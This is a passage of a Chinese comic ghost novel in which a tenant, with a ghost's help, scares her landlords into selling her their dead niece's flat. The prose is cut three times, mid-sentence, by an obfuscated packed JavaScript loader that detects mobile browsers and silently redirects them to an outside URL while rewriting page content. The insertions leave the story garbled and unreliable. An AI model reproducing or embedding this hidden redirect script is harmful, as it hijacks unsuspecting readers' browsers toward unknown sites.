向晴:“不然呢!” “我辛辛苦苦挑——找别人帮忙挑的鸡!”她开始历数罪状,“辛辛苦苦收拾好下锅,辛辛苦苦闻着香味等着喝汤,结果这倒好,到头来一滴都进不了自己嘴里?!” 以北洛的说法,鸡汤本就是召唤过程中消耗的媒介,菜肴烹饪完成之时就是召唤成功之时。菜品会消失得一干二净,而在这之前尝上哪怕一口,仪式便会直接作废。 但是换言之,被召唤的那一方能清楚地感觉到灵力的流动,而因为那层伪装,这就成了菜肴的美妙滋味,它们是可以尝得出来的。 “很好喝。” 尚不清楚自己面临什么下场的北洛点点头,意犹未尽地点评道:“有机会再来一只鸡炖炖汤也不错。” “我忘了你没喝到,哎呀那个鲜——” 然后他才发现了对方的死亡凝视,“……?” “我看你像鸡汤。”向晴说。 所以某只鲲鹏现在被她无情踢出队伍,反而是小红跟在旁边,不久前还单方面差点打起来的一人一鬼此刻相处得挺和平。正所谓三人定律——当其中一个人被孤立时,剩下两个人的关系就会自动变好。 “嗨呀,事已至此也不要在意这些啦。”女鬼反过来安慰她,“做人呐,最紧要的就是松弛感,你饿的话,我去下面给你吃啊。” 向晴:“你下。” 筱虹没想到对方真应了,“……巧鬼难为无锅之炊!” 向晴还想吐槽她,正巧有个遛狗的住户经过,那博美开始冲着旁边的空气——也就是小红所在的位置——汪汪直叫。它主人才要呵斥,扭头看见向晴在自言自语地说话,赶紧拽着狗走了。 向晴:“……” 筱虹:“他看你的表情像看精神病。” 向晴:“住口。” 这下无论小红怎么勾引,她都绝对不再开口了。他们上次签租房合同的时候,因为筱海亮忘带证件,是又跑到他家楼下等着取来才签上的。所以她这次干脆直接杀到了门口,毕竟人无所谓离得远的地方怎么说自己,但每天进出的时候被自家邻居戳着脊梁骨指指点点——尤其是这种老小区——那可就难受多了。 她左等右等,终于等来气喘吁吁跑下楼的筱海亮。后者见她真搁这站着,当即一拍大腿,“小向,你说你这,有事打个电话就行了嘛,还专门跑过来一趟。” “没事,筱叔,反正我闲也是闲着。”向晴笑眯眯地说,“我刚还在想呢,你说那么好的房子,一点钱就租给我了,你们住着这种老楼,怎么也不换换再租?” 筱海亮:“啊?这——” 他噎了下,正想找个理由,就听她问: “是因为这屋里没死过人吗?” 筱海亮的脸色猛地变了。 他立刻意识到对方是有备而来,而且是来兴师问罪的,但老油子了这么多年,也和不少房客扯过皮,马上又满脸堆笑起来。要不是一瞬不差地注意着,还真瞧不见那点微妙的变化。 “小向你这话说得,”筱海亮岔开话头,“什么死不死人,多不吉利。” 筱虹:“呵呵。” “筱叔,都是成年人,咱们就明人不说暗话。”向晴直截了当道,“不然——你应该不会介意我在这里乱嚷嚷吧?” “不至于!多大点事儿!” 筱海亮赶紧说:“走走走,咱有啥屋里说。” 比起筱海亮,向晴这个气势汹汹的质问者自然是要不慌不忙得多。但前者既然已经不是第一次这么干,也早就有了一套应对办法,领着租客上楼以后刚敲开门,跟他老婆对了个眼神以后,杨秋芳立时会意。 “哟,这就是小向吧?长得真漂亮!”她热情地招呼对方进来,“鞋不用换,这赶上饭点了,先坐下来吃点?” “不用了,阿姨。” 向晴也不拿自己当外人,施施然走到沙发旁边坐下,“我没胃口。” 要是筱海亮夫妇有阴阳眼,非得当场骇破了胆不可——他们那自杀身亡的侄女正随着飘进来,气得在满屋子到处乱转。 “没胃口就吃点水果,阿姨给你切去!”杨秋芳说着就瞪了老公一眼,“老筱,来打下手!” 切水果要什么下手,向晴既不推辞也不戳破,静静看着他们打算搞什么花样。 杨秋芳把老公拽到厨房,刚关上门就低声问:“你说,这小向配咱们康康怎么样?” 筱海亮早看出她打什么算盘,听了这话嗤之以鼻。 “你以为你能拿捏得住那丫头?”他又补充一句,“再说,看着就不安分。” 向晴坐在客厅,电视里正放着吵人的综艺节目。她其实没有见到这家的儿子——也就是筱虹的堂弟,只在刚进门的时候瞧到一个转身进屋的笨重背影。但筱虹已经飘过去偷听她叔婶的对话,女鬼再转回头时快把白眼翻到天上去。 “打你主意呢。”她一脸被恶心到的表情,“几个菜啊喝成这样。” 向晴:“哦?” 厨房的门开了。 甭管心里怎么想,杨秋芳还堆着笑,端了切好的果盘往桌上一放。 “小向,来吃桃。”她明知故问道,“专门过来是为啥啊?” 向晴低头看了一眼,没有去拿牙签,“您没问我叔吗?” “肯定问了!我是说你的想法?”杨秋芳小心地观察她的表情,“你要是从别人嘴里听到什么流言蜚语,也别当真,那些人净爱瞎传!” “那房子原来确实是老筱他侄女的,但她是生了病,在医院走的,跟房子没啥关系。” 巧了,她是从当事人嘴里听到的。 向晴瞥向旁边的女鬼。 筱虹:“啊呸!不要脸!” “我听说还有其他搬走的租客……”向晴说。 “这不误会大了?!”筱海亮跟他老婆一唱一和,闻言赶紧说,“头一个啊,是老家出事,他赶着回去就急了点。后面那个加班回来晚了,结果不小心踩空摔下楼梯了,这能怪谁?” “结果这一个接一个的就传变味了不是?现在成了闹鬼了,害得我们也只能降价才租出去……人言可畏啊。” “确实。”向晴点头赞同,“我家有个祖业,平时也是流言蜚语多,普普通通的行当传得跟什么似的。” 筱海亮一看有戏,附和着转移话题,“这之前也没听你说过,小向你家做什么?” 向晴:“搞玄学的。” 夫妇俩:“………………” 杨秋芳瞅着自己老公。 筱海亮没有理她,他看向晴那万变不离其宗的态度,知道这妮子是铁了心。 “到这份上了,”他叹口气,“叔也不怕跟你说实话。” 筱虹:“哎,我看不是。” “都是没办法的办法嘛,”筱海亮摇着头,“这房子的真实情况,我租的时候确实瞒你了,我侄女也确实是出了点意外,但她真不是死在屋里头的。” 筱虹:“你的意思是我卡穿墙BUG死夹层里了?” 向晴:“……” 你在这儿隔空说相声呢。 也就是她早年演十八流剧本的时候练就了超绝信念感,此刻在小红的单方面捧哏——不,反驳下还能坚定不移地板着脸,哪怕筱海亮再舌灿莲花也动摇不了半分。 更何况他根本没到那份上,因为接下来就暴露了个彻底。 “叔跟你摊牌说,我一开始租给你就远低于市价,哪怕用凶宅来算,这也绝对是个厚道的价位。你要是退租,那押金我肯定不能退给你,合同白纸黑字的在那摆着,咱们还得按合同办事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063001|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向晴笑了。 她笑起来很招人好感,眼睛一弯就少了锋利。刚从素人出道的时候,凭借在一个关于惊鸿一瞥的剪辑合集里的几帧画面径直小火了一把,不过网上热度如同过眼云烟,绝大多数人见了她这样只会降低警惕心。 “放心吧,我今天不是来退房租的。”她说,“我想把那房子买下来。” “……!” 这话可是大大出乎夫妇俩的意料之外,两人惊讶地互瞧起来,没想到天上还有这样一次性套现的好事。 筱海亮还有点警觉,“小向,你这是……” “我想要个能稳定下来的地方,正巧手里的钱不算多。”向晴面不改色心不跳道,“你们也省了一次次换房客的麻烦,难道不是双赢吗?” “是那么回事,但小向啊,我丑话说在前头,你要是……”毕竟是真在巴望着尽早出手,筱海亮到底没有讲得太难听,“嗯,想趁着这个由头压得太狠……” “放心,我真心实意想谈,”向晴说,“筱叔你说价格吧。” “我不反对你买下来,不过别让他们占便宜啊。”女鬼在旁边飘来飘去地碎碎念,“一万,不不不,五千,最起码不能是他开个价——” 筱海亮:“五十万。” 向晴:“可以。” 筱虹:“——就同意啦?!” 筱海亮的表情比刚才还惊讶,写满了早知道她会这么爽快就再抬高点的懊恼,这下闹得他几番斟酌和预备好的言辞都成了无用功。不过摆在绝对的金钱面前,这些都是虚的,赶紧乘胜追击地问道: “那要不就这样,然后咱们挑个都方便的时间,把过户合同一……” “筱叔,不急。”向晴说,“我今天过来还有另一个事。” 说着,她的视线就落在了杨秋芳脸上,继而看向筱海亮,眼神意味好奇又探究,瞧得两人都有点隐隐不自在。 “我上次见就感觉您精气神不太对劲,所以想着再找机会亲眼瞧瞧。” “然后在楼下等的时候,”她说,“我就顺便算了一卦。” 筱虹:“……啥?” “您最近有没有觉得特别心浮气躁?”向晴问,“比如事事都不顺,身体也容易力不从心?家里家外的也容易闹矛盾?” 筱海亮:“呃、这……” “哪儿啊,”杨秋芳抢白道,“他这人脾气从来都这样,整天有事没事要吵一通,就没个安生日子。” 筱海亮恼了,“你少在这丢人现眼!” “嘿,”杨秋芳不服,“谁丢人现眼——” “好了好了,叔叔阿姨先冷静点。”向晴赶紧打圆场劝和,“我知道你们肯定觉得以前也那么过来了,但是仔细回忆一下,真是这样吗?” “谁过日子没有摩擦啊,变本加厉就两说了。那个契机可能潜移默化地融入进了生活里,然后几年过去,连自己也不记得是什么时候开始的。但是有没有一种可能,这不是你们俩任何一个人的错,对方就是希望你们家宅不和呢?” 筱虹:“谁这么热心肠啊,我得去谢谢他。” 她叔婶面面相觑,互相指责得多了,有个能把责任都推给别人头上的机会,哪怕心里再不信,也不自觉地往那边滑了一步。 “筱叔你的事业运不太行吧,”向晴说,“应该是前几年借了一笔钱想做点小买卖,结果遇到了什么人心叵测的事,连本都没收回来。” “可不是?!”一说到这个,筱海亮就气得拍大腿,“非说我店里卫生条件不合格,我跟他说哪家都这样,那龟孙还搞起举报?查他奶奶个腿!” 杨秋芳:“我早跟你说别硬碰硬……” “得得得,你又早说,你早说个蛋!” “还有阿姨,这两年和朋友处得怎么样?”向晴不得不打断他们的推诿,“如果我没有猜错,令郎学习一直马马虎虎,再加上令郎的性格,毕业了应该更不顺,现在找到工作了吗?” 她句句照着痛点戳,但有了前面的那一番话打底,比起恼羞成怒,夫妇两个还是不由按照她给定的那个方向去想。 “小向,”筱海亮狐疑道,“你是怎么……” 你侄女在耳边叨叨的。 “有解决办法吗?”杨秋芳直接更务实地问,“就是一般不都说那个什么,转运?总得能改善一下吧。” “有是有。”向晴说,“就是事关因果,要摆平的麻烦不少,所以——” “那……” 她的言外之意很明显,一说到钱,杨秋芳又犹豫起来,“你先说个数?” 向晴等的就是这句话。 “不多。” 她道: “满打满算,六十万吧。” 5. 热心鬼 “准确来说,是六十六万。” 面对因此而呆若木鸡的筱海亮夫妇,趁着他们还没反应过来,向晴继续施展她的大忽悠之术。 “首先是五万六千七百二十元,听起来熟悉吗?”她说,“这是你们这几年靠那套房子得来的收入,加上百分之二的利率,抹掉零头,就按六万元整吧。” 毕竟这可是小红凭借印象里断断续续听说的不同阶段房租把计算器都要按冒烟了算出来的。 “剩下的十万是真实费用,我一分钱也不多要,你们用那六万房租钱把房子过户的税费出了就行——所以,我这边的价格就按六十万算。” “你们本身的命格普普通通,虽然遭人所害,但这几年也有缓和。”向晴扬眉,“可惜偏偏占了侄女留下的房子,她的怨恨就是你们家走下坡路的原因,而且……不是我危言耸听,之后只会愈演愈烈。” 筱虹:“哇。” 原来是她自己这么热心肠啊。 “那个房子的真实情况,你们应该清楚。”向晴说,“知道什么样的鬼最凶吗?一住进去就闹得厉害的凶宅无所谓,这都是雷声大雨点小,只有无害的鬼魂在色厉内荏。” “恐怖的是那种刚搬家没有异样,后来越闹越可怕的,说明她的恨意在加深,这才是真正的厉鬼。” 筱虹:“没错没错。” 是她是她就是她! “一开始可能只有租客遭殃,往后就会波及到房主。每一分钱都会牵扯到因果,花掉那些不属于你们的房租是最好的选择。”向晴继续道,“你们应该对每任房客的下场很了解,听我一句劝,在她找上你们之前——” “够了!” 筱海亮吼了一声,直接站了起来。 他气得脸红脖子粗,整张脸涨成猪肝色,喘着的粗气让胸口都跟着呼哧作响。 “什么他妈的闹鬼,我看你这丫头片子是想空手套房!有本事就来,来啊,弄死我!拿着不知从哪听来的消息跑我家诈骗?不想挨揍就赶紧滚出去!” 筱海亮骂骂咧咧地要撸袖子,杨秋芳见状赶紧拦在他前头,“哎,老筱,老筱——” “滚吧,”但转过头,她又毫不犹豫地跟丈夫站在同一条战线,语气嫌恶道,“我们这不欢迎你。” “我来只是想提个醒。” 向晴不紧不慢地起身,“既然你们不需要,那就算啦。” “哦,对了,”临出门的时候,她回过头,“有事可以掰根筷子。” 回答她的是一声响亮的:“我呸!” 防盗门重重地在身后摔上,向晴耸了耸肩,头也不回地往楼梯口走去。红衣女鬼没有跟着她一起出来,但这无妨,另一道身影已经倚在下面那层的栏杆旁等她了。 “事办得怎么样?” 待得走出单元门,向晴压低声音问。 “放心吧,这还不简单。”北洛说,“一道符而已,应该在他们卧室衣柜后头,反正就那片范围。” 然后他语气变得小心起来,“这算将功补过了吗?” 向晴冷酷无情,“没有。” 北洛:“……” 好记仇! 他回头看了一眼筱家对应的那扇窗户。 计划进行得很顺利。 他们从最开始就决定分头行动——由于那间租房对筱虹的特殊意义,她只能依附在它的住户身边。所以组别就这样形成了,女鬼缠身的房客进去对峙,而留在外头的鲲鹏末裔隔空画下一道能暂时固魂的符咒,一进一出之间,不属于这居民房的厉鬼就悄然藏在了她叔叔家。 最省时省力的解决方案当然是筱海亮答应让出房子,但筱虹赌咒发誓,这概率小于等于彗星撞地球。所以果不其然,到了还是这个办法脱颖而出。 “接下来就看小红的表现了。”向晴东奔西走一整天,世界观又受到那么大冲击,早就有点乏了,“我先回去睡会儿。” 有人睡得着,就有人睡不着。 筱海亮被气得够呛,大半个晚上都在变着法地咒骂怎么会有王八蛋惦记别人的家产,最后还是杨秋芳听得耳朵生茧,端了杯水过来让他赶紧睡觉。 那丫头走了不久,他儿子也臊眉耷眼地出了门,说有事去朋友家住一段,这正好,也省得他看到个窝囊玩意儿闹心。火气上来瞧什么都不顺眼,连故作热闹的综艺也嫌吵吵,抬手就关了电视。荧光随着画面的熄灭一闪而过,筱海亮却坐在原处,后背冷不丁窜上一股寒意。 屏幕陷入漆黑,只映出模糊的人形轮廓,他看不清自己的五官,觉得上面就是块挥之不去的阴影。他一边唾弃怎么会信个丫头片子的鬼话,一边思绪又老是不由自主地往那边飘,最后还是灰溜溜起身回了房。 杨秋芳早就睡了,这种时候有个活人在身旁时最能让人放心。床是早在他们结婚前请人打的,他逢人也爱夸家具质量好又皮实,但也只有自己知道睡久了如何腰酸背痛还咯吱咯吱直响。 这不,他后背刚靠上去就听到木板发出一声刺耳的锐鸣,好在他老婆睡得死,不然被吵醒了又得叨叨半天。 说也奇怪,筱海亮平日沾枕头就睡,今晚不知怎么的,半天了不见一丁点困意。 他翻来覆去几番,自己也不记得躺了多久,终于觉得有点渴,准备起床去倒点水喝。 他趿拉着拖鞋,看卧室门缝里漏进一点点光——他明明记得自己进屋前关灯了。无端地,筱海亮从后脖颈麻到了脚跟,心脏一下比一下跳得重、跳得狠,沉甸甸得压出肺中最后几丝空气,连内里那根神经也跟着不自觉抽抽,手却不受控制地向前推了过去。 “吱——” 房门缓缓转开,桌案围绕着一小片昏沉黄光,有道黑影静静地坐在沙发上。 黑影分不出是正面抑或背影,“她”渗进了沙发靠背,乃至与其合而为一。风一吹的时候,连那边缘也在来回摇曳。 筱海亮的头皮当场就炸了。 ——关门。 关门、关门。 关门,关门关门关门,关门关门关门关门—— 他脑海里拼命重复着这两个字,却连手指头也抬不起半根。他眼看沙发上的黑影要向自己转过头,终于挣扎着动起来,抓住了寄予无限希望的门把。 一只手从身后搭上了他的肩膀。 那属于女性的手指纤细冰凉,偏偏攥得骨头生疼,筱海亮还来不及痛得大叫出声,莫大的恐惧先压倒了全部神智。 他清楚地感觉到,背后的“什么”正在一点一点地越过自己的头顶。 他听到骨骼被强行拉扯时发出的崩裂声,他知道人类不可能完成这种动作,正常人也不可能把身体折成这种超出极限的角度。 ……可是如果,那就是人头呢? 如果那是一张倒过来的脸,会是谁的脸? 筱海亮猛地睁开了眼睛。 映入眼帘的是惨白的天花板。 他还仰面躺在床上,正缺氧似的大口呼吸,心脏果然在砰砰直跳。愣是过了好几秒才回过神——这还多亏了旁边推他的力道。 “老筱,老筱。” 杨秋芳一边推他胳膊一边低声说,筱海亮第一次看老婆的脸看得如此顺眼,但紧接着就听她惊恐地问:“外边那是啥东西?” 筱海亮下意识地跟着望向窗户。 小区临街,底下有路灯,平日有车灯经过,在窗帘上映出一片飞速掠过的影子是再正常不过的事。 但此时此刻,却是有另一块阴影固定在帘子上。 剪影轮廓就像是个穿着裙子的女人,长发披在身后,头顶有根细细长长的东西拴在上方。由于重量全系在这根绳子上,阴影正微微地晃动着。 ……那道身影摇晃的频率,和他梦中一模一样。 “妈啊!!” 筱海亮惨叫着滚下了床,杨秋芳没想到自己为了壮胆叫起来的丈夫比她反应还大,正要去拉他,只见男人手脚并用,连滚带爬地向外逃去。 推开门的刹那,筱海亮才想起梦里那个鬼影——好在什么都没有,沙发、茶几,客厅里的东西全跟他睡前一模一样,所有家具都像沉在黑暗中凝望着他。他努力说服自己这是错觉,扶墙支撑住了发软的腿脚。 “你怎么直接就跑了……”同样赶紧跑出来的杨秋芳数落着他,惊魂未定地回头看了一眼,看到卧室窗帘上的倒影已然消失,“那玩意不见了……” 她再转过头来时,面如土色,嘴唇颤抖着说不出半个字。 “我——”筱海亮正想提自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063002|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噩梦,见她反应不对,“咋了?” 杨秋芳抖似筛糠地指向对面。 就在客厅,他们正对着的这副窗帘上,再次映出了女人的影子。 长发女人还吊在框顶上,一下下地轻晃,但又有细微的不同。 角度变了。 她“看着”他们的角度,从侧面变成了正面。 “……啊!!!” 筱海亮一屁股坐在地上,瓷砖再冰冷也没有唤回他的理智,他完全被吓傻了,以至于都没有第一时间发现那不同寻常的晃动。 “砰。” 沉闷的响声回荡在室内。 筱海亮迟滞了两秒才反应过来,那是有东西撞上了玻璃。 “砰。” 窗外的影子又是一晃。 它的形状在帘子上轻微偏移,再突然放大,同时传来那恐怖的闷响。夫妇俩呆呆望着窗帘,又发现那个影子开始重复刚才的动作。 筱海亮终于意识到,吊在外头的东西正持续不断地用身体撞击着窗户。 “她”想进来。 玻璃还被撞得砰砰直响,每一下都比前一下更用力,六神无主之时,筱海亮冷不丁地闪过一个念头。 “筷子!”他吼道,“快去拿筷子!” 这回连滚带爬的成了杨秋芳,她慌慌张张地冲进厨房从筷子筒里拔出两根,也顾不得差点绊了自己一跤,掰了两下没掰断,赶紧就往丈夫手里塞。结果反而是接的这一方没接住,竹筷“啪嗒”掉在地上,筱海亮的指甲在瓷砖表面划拉半天,这才好悬把筷子抠起来。 “砰!砰!砰砰砰!” 耳边传来的声音吓得夫妇俩一身冷汗,投在窗帘上的影子前所未有地放大,杨秋芳着急忙慌地去推筱海亮,后者这才转头回神。 筷子早被冷汗给浸得汗津津的,几番险些从他手中再度滑脱,他咬着牙——用力一掰! 竹材折断的那点响动在整个客厅内几乎可以忽略不计,夫妇两个胆战心惊地望向窗外,却见“它”硬生生停在了原处。 还在沉迷荡秋千的筱虹:“……噫!” 太险了!差点忘了暗号没刹住! 落在屋内二人的眼中,就是刚刚还要发狠撞来的黑影以一个诡异的角度悬于半空。紧接着,它从轮廓开始慢慢淡去,逐渐融化在颜色暗淡的帘布里。那团影子完完全全消失了,就好似它不曾存在过。 夫妇俩面面相觑,要不是彼此脸上的惶恐还未褪去,几乎要以为方才发生的一切都是场幻觉。 筱海亮第一反应就是打开全屋的灯,整个房子被照得亮堂堂的,但这还不够,他紧忙去拨儿子的手机,结果电话那头传来的只有忙音。 这完蛋玩意儿! 他还是不死心,又试了几次,发现还是打不通才作罢。 “要不,问问那个丫头,”杨秋芳心下惴惴,本能地想起刚才的筷子,“她指定解决得了。” “哪有那么巧的事?!” 筱海亮磨磨后槽牙,嘀咕道:“知道得这么清楚,搞不好就是她动的手脚……” 说是这么说,他前思后想半天,还是忍不住翻出早先的通话记录,原样拨了回去。 夫妇俩屏息静气地盯着手机,巴望能得到点回音。 “嘟——嘟——” “您拨打的用户暂时无法接通,请稍后——” 筱海亮气急,“你瞧!” “再试试。”杨秋芳催促道。 天边已经蒙蒙亮了。 两口子坐在灯火通明的客厅里,别说往外挪一步,就连大气也不敢出,只好一遍又一遍地去打那个不知何时才能接通的电话。 然而他们迎来的也只有一次又一次的失望,筱海亮魔怔似的反复按着挂断和拨号,仿佛这样就能抓住救命稻草。杨秋芳的焦虑完全没比她老公强多少,她几次三番地站起来又立马坐回去,眼巴巴地探头去瞥手机屏幕。 终于! 电话那头传来了有些困倦的女声:“喂?” 免提等来人声的刹那,夫妇俩在对方脸上看到的都是松了一口气的狂喜。再开口时,筱海亮脸上已经不知不觉赔起了笑。 “那个……”他问,“……向小姐,能请你早上过来一趟吗?” 6. 新房 向晴打着哈欠下了出租车。 她本来是不想来这么早的,但电话对面被吓掉了魂,赌咒发誓说可以再多加钱,只要她现在就过来。于是在多加的数目从五万变成十万后,向晴勉为其难地同意了牺牲一点睡眠时间。 这次她不是一个人——货真价实的不是一个人。北洛不再像昨天那样偷偷摸摸地躲在外面搞小动作,而是光明正大跟着上了楼,好奇地在她身后探头探脑。 向晴知道了筱家的门牌号,熟门熟路地找到老地方,伸手敲响那扇防盗门。 几乎是紧接着的下一秒,防盗门立刻被打开了一条小缝,里头挤出半张苍白的脸,跟地下接头似的低声,“……小向?” “早上好啊,筱叔,”向晴也不计较他变得飞快的称呼,露出令人安心的微笑,“是我。” 很明显就能看出筱海亮那颗悬在嗓子眼的心落回了肚子里,他终于想起自己的辈分,自壮声势地清清嗓子,不失尴尬道:“那就……” 才说到一半,他就看到她身后多出来的少年,“这是——” “我朋友。”向晴说,“为了我的人身安全,我觉得有必要请他陪一趟。” “……这话说得!”筱海亮讪讪搓手,但毕竟是他放的狠话,“来吧,先进来。” 天刚蒙蒙亮,这会儿是天色转明最快的时候,从向晴出门打车到过来,原本暗淡的光线也将外界照得清清楚楚。按理说只凭窗外照进的日光就能把屋内瞧个分明,然而筱家却窗帘紧闭,一反常态地打开了所有电灯,晃得别人进门的第一反应是眼晕。 待得眼睛习惯过那些光团,向晴视线下落,先看到了茶几上被掰断的筷子。 一根两根三四根,五根六根七八根。 向晴:“……” 北洛:“……” 不是,也没让你们折一堆啊! 桌面上横七竖八地歪斜着从中间硬生生裂开的竹筷,数量之多简直令人怀疑这家所有筷子都在这了。有弯了还没断、于是被丢到旁边另寻别筷的,还有一半留在桌上、另一半水灵灵滚落地的,生动形象地再现出主人家慌了手脚的画面。 向晴无声地用眼神询问着从吊灯里探出头的小红。 “这不是想加强下效果吗?”后者讪讪道,“我也没想到他们这么经不起刺激。” 向晴收回目光。 问题不大。 反正得吃手抓饭的不是她。 自打她走进筱家大门,夫妻俩就亦步亦趋地死守着她——杨秋芳扒拉着筱海亮的肩膀,筱海亮虽然不敢再往前伸手,但也是毫不错眼地盯住了向晴的一举一动。这会儿瞧见她抬头看吊灯,他们两个同样大气都不敢出地瞄向那里。 恰逢此时,不知是电流不畅,还是鬼魂的磁场当真影响到了吊灯。几颗灯泡突然忽明忽暗地闪烁起来,屋子里一会儿黑一会儿亮,纵使窗外太阳的位置比先前高了些,已经能感觉得到清晨的暖意,这光打在人脸上到底是比好端端地照着惊悚太多。 “妈呀!”杨秋芳惨叫出声,“老筱啊!” “你叫我干什么?!” 筱海亮被她指甲扣得生疼,自己也吓得不轻,嘴唇哆嗦着看向此刻仅能指望的救星,“小小小向,向小姐,还、还有这位,你们看这——” 向晴三步并作两步,“啪”地拍下了墙边的开关。室内顿时陷入一片漆黑,只有窗帘后头渗了些爬出来的光线,但紧接着,光明就驱散了所有足以令人想入非非的暗影——向晴重新按亮了吊灯。 “接触不良。”她说。 夫妻俩:“……” 气氛冷不丁地变得尴尬起来,两个加起来有百十来岁的中老年人在一个年纪轻轻的姑娘家面前阵脚大乱,那确实是蛮丢脸的。眼下顾不得那么多了,筱海亮紧忙问她:“你瞅着是怎么回事?” “原因么,我昨天说过了,信不信是你们的事。”向晴气定神闲道,“不过看在房客一场的份上,我可以先卖个人情。” 话音刚落,不等两人反应过来,她有模有样地轻阖双目,掐指为诀,口中嘀嘀咕咕地似乎在算着什么。 北洛拼命咬住了下唇。 他离得近,听到她念的是“千根万根无数根,手再痛也全靠忍”。 但落在另外二人眼里,只能看见他们一个面色严肃,一个念念有词,直觉此事并不好解决,于是也跟着捏了把汗。却瞧着向晴在念完后似乎是感应到了什么,没有多做犹豫,直接奔着某个方向走去。 杨秋芳脱口而出道:“哎——” 那不是别的地方,正是两口子睡的主卧,但这没有影响到向晴已经迈出的步伐。夫妻俩一是没反应过来,二是也不敢拦,须臾之间竟然放任她走到了毗邻床头的衣柜跟前。 这老式家具自然并非现如今流行的通顶柜,摆放得离墙壁有一定间隙。这缝正好够人手平着伸进去按里头的吊灯开关,向晴当下的目标倒不是这个,她双指并拢,往反方向上下摸索片刻,果真在衣柜背面的木板探到了符纸那轻薄的质感。 她轻轻一揭,写着符咒的黄纸随之而落。等到亲眼瞧着她从自家衣柜后头扯下一张写满曲里拐弯印迹的符纸,亲耳听着那撕下时的“呲啦——”声,筱海亮夫妻两个的脸色立刻更难看了几分。 “就看作是我的诚意吧。”向晴说,“解决这个不算钱。” 夫妻俩面面相觑。 “小向啊……你……要不你在外面等会儿。”杨秋芳强笑着说,“你说的那个,我跟你筱叔,我俩商量一下。” 向晴欣然应允,她和北洛就留在客厅,毫不急躁地坐在沙发上等着这连水都忘了倒的俩人商量出个结果。反观卧室这边,门一关就开始交头接耳的中年男女眉宇间可谓是愁云密布。 杨秋芳征求自己男人的意见,“老筱,你看这事咋办?” “咋办?”筱海亮马上反问,“还真信那丫头片子的鬼话?” “都过去几年了,平时也没闹上门来,咋就那么巧,早不来晚不来,偏偏她找上门以后来。”可能是心理作用,眼瞅那张符被揭走,他如释重负,又觉得自己行了,“谁能保准不是她动了什么手脚?” “别搁那犯傻了!”杨秋芳压低声音,“她昨天可没进咱屋,连看都没看一眼!” 筱海亮一愣。 他后知后觉地想起这码事,顿时感到了后脊爬上的一丝恶寒。他们家近几年走动的关系少,能有那种机会的就更是数得过来,事已至此,他不太甘心地咽下唾沫,“这房子总不能说给就给吧。” “不然咋整?闹……”杨秋芳到底没敢说那个字,“闹腾成那样,迟早租不出去,你还指着它当婚房啊?” 筱海亮:“合着几年下来一分钱租金到不了手里还得倒搭钱。” “那你留吧!等你侄女继续上门,到时候可没地儿哭去!” 两人又是如此这般地叽叽咕咕一番,终于算是达成了共识。一前一后地从卧室出来时,筱海亮脸上挂着的笑容比哭还难看,他是真心实意地感到肉疼——一边是心理上的,一边是杨秋芳对他胳膊连掐带拧地逼他赶紧解决这事。 他看向等在客厅沙发上的客人,“小向,你带没带——” 筱海亮:“……” “哎,”向晴应声抬头,“不好意思,打发一下时间。” 筱海亮:“…………” 目光所及之处是他不久前才亲手掰断的一整盒筷子,他的指头到现在还隐隐作痛。那些带着断茬的筷子依然堆在那里,并且横七竖八地交错着。而向晴和她带来的那个年轻人各拿了一截竹筷,正你一下我一下地小心翼翼去挑剩下那些。 合着自己和老婆在屋里紧张商量的时候…… 他们在这玩挑棍?! 向晴很及时地把筷子堆推到一边去,“筱叔,你们商量好了?” “……好了。”筱海亮活像只泄了气的皮球,“就……照你说的那样吧。” 他马上又说:“但你们得先解决这情况,” “没问题。” 向晴打了个响指,“北洛。” “来喽。”被叫到名字的鲲鹏末裔爽快地摸出一张事前准备好的符咒——自然,小心地与那张使坏的材质笔法都有所区别,“贴在床头,三天,你们家的情况就会有所好转,那位侄女就算想来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063003|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找你们也没办法了。” 筱虹:“哼哼。” 筱海亮喜不自胜,这就要接过黄符,北洛却在他即将挨上的前一秒收了手,“还是先把该办的办了吧。” 一想到即将拱手让人的房子,筱海亮心疼得直咬后槽牙,这无异于用菜刀在割他大腿肉。 但他实在不想再来一次昨晚的遭遇了,这几年他们也不是没请过“高人”,然而要么进了房就临阵脱逃,要么直接说处理不了,抱着侥幸心理到了今天,结果还是得吐出来。 “……成。”他终于说。 合同都有现成模板。 向晴低头看看收到打款提示的手机。二十万从卡上划走,在公章敲下的一瞬间,筱海亮想起自己为此缴纳的那些税费和刚刚蒸发的几十万,肉疼得直抽抽。直到走出房地产交易中心,他还是灰溜溜地捏着终于拿到手上的那张符咒。 他有点惊讶。 